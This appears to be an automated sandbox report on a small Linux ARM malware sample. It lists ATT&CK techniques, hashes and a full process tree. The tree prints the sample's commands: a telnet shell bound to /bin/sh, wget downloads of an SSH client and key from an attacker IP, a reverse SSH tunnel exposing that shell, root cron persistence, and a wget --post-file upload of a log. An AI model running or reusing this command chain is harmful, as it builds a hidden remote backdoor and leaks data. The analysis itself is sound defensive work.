10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18/08/2026, 12:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x
Size 3KB
Sample260818-plhhcsttdv
SHA256 10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022
MD5 82d71e57d4ab5718bf86e94a3eeb6c44
SHA1 606dc101ab4646967cf42a10a6c0cb65383d705a
SHA512 01139d2b0493fc602004398cc179ad6e99a0893633247809db2ba433a40100629e3547aac219885cf1f79493a3e9a44d4ef76a951ce0161ca3e94d8704fab262
TLSH
T1657102E2896A15F1694DCE3FD12BA0FA19E7001B242939A731AD3674377C1ACD20CB27
MD5 SHA1 SHA512 TLSH

Score

7^/10

command_and_control defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
742	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/dbclient	786	x

Outbound SSH connection to public host 2 TTPs 1 IoCs

SSH is used for remote access. This may indicate SSH host discovery, encrypted C2 traffic, or data exfiltration.

command_and_control

Protocol Tunneling

T1572

Network Service Discovery

T1046

description	flow	ioc
SSH destination	3	209.38.118.65:22

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	x

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	dbclient

Enumerates running processes
Discovers information about currently running processes on the system

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/dev	dbclient
File opened for reading	/proc/net/tcp	dbclient
File opened for reading	/proc/net/rt_cache	dbclient
File opened for reading	/proc/net/netstat	dbclient

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/327/stat	pidof
File opened for reading	/proc/timer_list	dbclient
File opened for reading	/proc/305/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/95/stat	killall
File opened for reading	/proc/572/stat	killall
File opened for reading	/proc/786/cmdline	pidof
File opened for reading	/proc/168/stat	killall
File opened for reading	/proc/588/stat	killall
File opened for reading	/proc/597/stat	killall
File opened for reading	/proc/27/stat	pidof
File opened for reading	/proc/29/cmdline	pidof
File opened for reading	/proc/156/stat	killall
File opened for reading	/proc/332/stat	killall
File opened for reading	/proc/662/stat	killall
File opened for reading	/proc/156/cmdline	pidof
File opened for reading	/proc/23/stat	pidof
File opened for reading	/proc/41/cmdline	pidof
File opened for reading	/proc/156/stat	pidof
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/587/stat	killall
File opened for reading	/proc/138/cmdline	killall
File opened for reading	/proc/10/cmdline	pidof
File opened for reading	/proc/13/cmdline	pidof
File opened for reading	/proc/28/cmdline	pidof
File opened for reading	/proc/572/cmdline	pidof
File opened for reading	/proc/42/stat	killall
File opened for reading	/proc/587/stat	killall
File opened for reading	/proc/731/stat	killall
File opened for reading	/proc/133/cmdline	pidof
File opened for reading	/proc/663/stat	killall
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/74/stat	pidof
File opened for reading	/proc/74/cmdline	pidof
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/29/stat	killall
File opened for reading	/proc/104/stat	killall
File opened for reading	/proc/588/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/303/stat	killall
File opened for reading	/proc/327/cmdline	pidof
File opened for reading	/proc/651/cmdline	pidof
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/25/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/104/stat	killall
File opened for reading	/proc/26/stat	pidof
File opened for reading	/proc/587/cmdline	pidof
File opened for reading	/proc/651/stat	killall
File opened for reading	/proc/10/stat	pidof
File opened for reading	/proc/649/cmdline	pidof
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/643/cmdline	killall
File opened for reading	/proc/107/cmdline	killall
File opened for reading	/proc/1/stat	pidof
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/639/stat	killall
File opened for reading	/proc/13/stat	pidof
File opened for reading	/proc/23/cmdline	pidof
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/279/stat	killall
File opened for reading	/proc/596/stat	killall

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dbclient.log	x
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	x
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/dbclient	wget
File opened for modification	/tmp/tunnel_key	wget
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee

/tmp/x
/tmp/x
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
PID:651
- /bin/date
  date
  2⤵
  PID:653
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:655
- /bin/mkdir
  mkdir -p /dev/pts
  2⤵
  PID:658
- /bin/mount
  mount -t devpts devpts /dev/pts
  2⤵
  PID:661
- /usr/bin/killall
  killall telnetd utelnetd
  2⤵
  - Reads runtime system information
  PID:669
- /bin/sleep
  sleep 1
  2⤵
  PID:675
- /bin/busybox
  busybox telnetd -l /bin/sh -p 2323
  2⤵
  PID:685
- /usr/sbin/utelnetd
  /usr/sbin/utelnetd -d -l /bin/sh -p 2323
  2⤵
  PID:686
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:688
- /bin/sleep
  sleep 1
  2⤵
  PID:689
- /bin/grep
  grep -q :2323
  2⤵
  PID:713
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:719
- /usr/bin/wget
  wget -O /tmp/dbclient http://209.38.118.65:8080/d824ef7079bc/ex7000/dbclient
  2⤵
  - Writes file to tmp directory
  PID:720
- /bin/chmod
  chmod +x /tmp/dbclient
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /bin/ls
  ls -l /tmp/dbclient
  2⤵
  PID:744
- /usr/bin/awk
  awk "{print \$5}"
  2⤵
  PID:745
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/wget
  wget -O /tmp/tunnel_key http://209.38.118.65:8080/d824ef7079bc/ex7000/tunnel_key
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod 600 /tmp/tunnel_key
  2⤵
  PID:753
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:756
- /usr/bin/killall
  killall dbclient
  2⤵
  - Reads runtime system information
  PID:758
- /bin/sleep
  sleep 2
  2⤵
  PID:760
- /bin/sleep
  sleep 3
  2⤵
  PID:787
- /tmp/dbclient
  /tmp/dbclient -N -y -y -R 2234:127.0.0.1:2323 -i /tmp/tunnel_key -p 22 -K 30 "[email protected]"
  2⤵
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:786
- /bin/pidof
  pidof dbclient
  2⤵
  - Reads runtime system information
  PID:788
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:790
- /bin/mkdir
  mkdir -p /var/spool/cron/crontabs
  2⤵
  PID:791
- /bin/cat
  cat
  2⤵
  PID:792
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:794
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:796

/usr/bin/wget
wget -q "--post-file=/tmp/persist.log" http://209.38.118.65:9999/
1⤵
PID:797

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Protocol Tunneling

T1572

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dbclient

Path /tmp/dbclient
Size 829KB
SHA256 0f393655fcbc439444772e9cb470da6ef3e7052b2fcc6dbf48700f5c1644365f
MD5 9e0ede2970d1ddab8a03f840f6ec7c53
SHA1 fc16b8b4efbb4af27aa405e522b1fa0b3d8e8f96
SHA512 6c20ee1093ceadcff0e64fd312c3db2f5e36742d8959132dabcc86295952b45653e080b8fb3f5832593e236ef4b503c0aa1ce9474fed555d4df17f723b4cbfc0
SSDEEP 12288:2DMIEzPLS4zAzLGbfonJl5rcV1/3HXdA519OOvqrctgp1h9Y:9vWEgGbwnSV1PNA/9ONrL
TLSH
T16D052955F880DFA1C6C029BAF75D86AC33134B79D3EB710689255B343BE786B0E3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 60B
SHA256 a32c13f247dacb214e24b88e3e56da04fbe67eaacd21ed66531d07140d43dba0
MD5 e99609865e67a4ec2ef64ffd4c98eaf3
SHA1 f0b4e7e1625f1f37c61f99dec8bc6c58fd6d5e7c
SHA512 d26a65a0153d430ecbf5279fa2238f462775a0c286682e1a32323daf106d0bce37ae484d740aad5acb7ef4c4757f9474152648b3a0a11d8d5b788dbd18658604
TLSH
T126A02220080080380BCA030ECF02B800220C00083302C0A0CA38A00803C00CE2B0003C
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 97B
SHA256 9f825f260bb4c8eccd3b207d7b9deb63bdf4afe54788b9ae9c27b917050d1a59
MD5 d51fb113e95ac9122979f179055d1e6a
SHA1 d804cb2880c10787efe6e17fac84dba687d8bab9
SHA512 82b27aade9c2d3a8c52cd491fbddc7a7523c2328fd558118c03d17eb100d65711f30968571ecdd53135aad9921ce014db7e999e5f43d8d2038f792689593383a
TLSH
T145B012100811A0FC8BB6134F9E127901571D12142A0DD0989DB9930412D54CD5F8552D
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 135B
SHA256 9354aff2f4203d268a9ce9f51189e371626f580bf49da2ba0fa0cf690db2a4c6
MD5 c8cd4dbb716c769e5bfd5bc712236d43
SHA1 195a2cfe71f2e39887b0e46fbfdee6f4417ae938
SHA512 de553b7124ae7dce82d17b627ee8273aae12d1955013c77a2b4e328f9f4892fdcbb011a95ef4b6bb59cb3ba5fa88ba309de2f84d1a64346d910fd26a059312e1
TLSH
T151C02B840C1190FDC6F5134B5F053944431D43102908C06C8DF9934002994C94E84059
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 163B
SHA256 a2979232c82b9a960e06bebe2757a698c5d988499f8010e318d0984d891e752b
MD5 0eb6f34611d0b9c24b2b69d36c543175
SHA1 5e0eb77f1341716e3aaa1543d0b6affd26583cff
SHA512 33b543626f2bb27f38a29e01994466ce4474ff46771ce3e405ffb93b23659c0249958bb9de2263296b5f930583d7a972dd5ceb109dc046feb650289410fd68a5
TLSH
T19CC08055081190FD95F513475E176584576953102605E05C5DB5574405655C5CE54057
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 2KB
SHA256 c59a92052bd31bf3f093d5ada4b21a90b5ff254097512b007d7a14d3d0fcf635
MD5 ee067ca3e5e33f0c2c8d888d3499f527
SHA1 457e5fb19bc664d346d964953705f074b6fc2902
SHA512 4b05fd4a65005991923ac986f3950c6909e889a90b713f462fc575d87d4a1ef7d32dcc125207624595cec51255bb7b868f0c874a406bb8308730773a83ebfeb8
TLSH
T16A4112953F223DE85F9146A94D26C7704FAAAD5327CD082D722E10890FD22D0BBF9916
MD5 SHA1 SHA512 TLSH

Submit Download

tunnel_key

Path /tmp/tunnel_key
Size 804B
SHA256 c46038426694798a71ec38d99a59473a478bd99ebcaedfaa1151aa39cc1f1226
MD5 b9e6970d3772f11502f0a70002c83ad6
SHA1 0c991cdfc4150970966834f2dc2640b73d29f121
SHA512 5a0eaec9ba105248b806b7339acb0eac5f37c85f37ae23e37b2911b8ead7815cbb65fae69dff85d3bd89d5aaae6c8b8e7ed1dc6c6a35fb632d845bc47ba9b09d
TLSH
T1F80186D9AA14C821EE193D33077107A12EF8C3085209FE0B7060EF165574070DB4C6D1
MD5 SHA1 SHA512 TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 392B
SHA256 34b2b8ff190e7c9c0c9ab33c69ae3326f8461567876b34bbad552b48813972ce
MD5 063933a51e620e947097be6414de0209
SHA1 80b5bc33679ad19ed2246bb681401d6224ce3d10
SHA512 8509d63ec8d716a5bde05a4b52f9ec5810b3c10ecf024c249ee14da00f32be2f13aeee6407e420b300451e6cad5791f6b9757e1f5f0a92c569129da86fa42d23
TLSH
T1C1E068F1832040F0A608C937E02E9CF2D8AA19350C1B35902CEF6764610C2C6F79DAB7
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads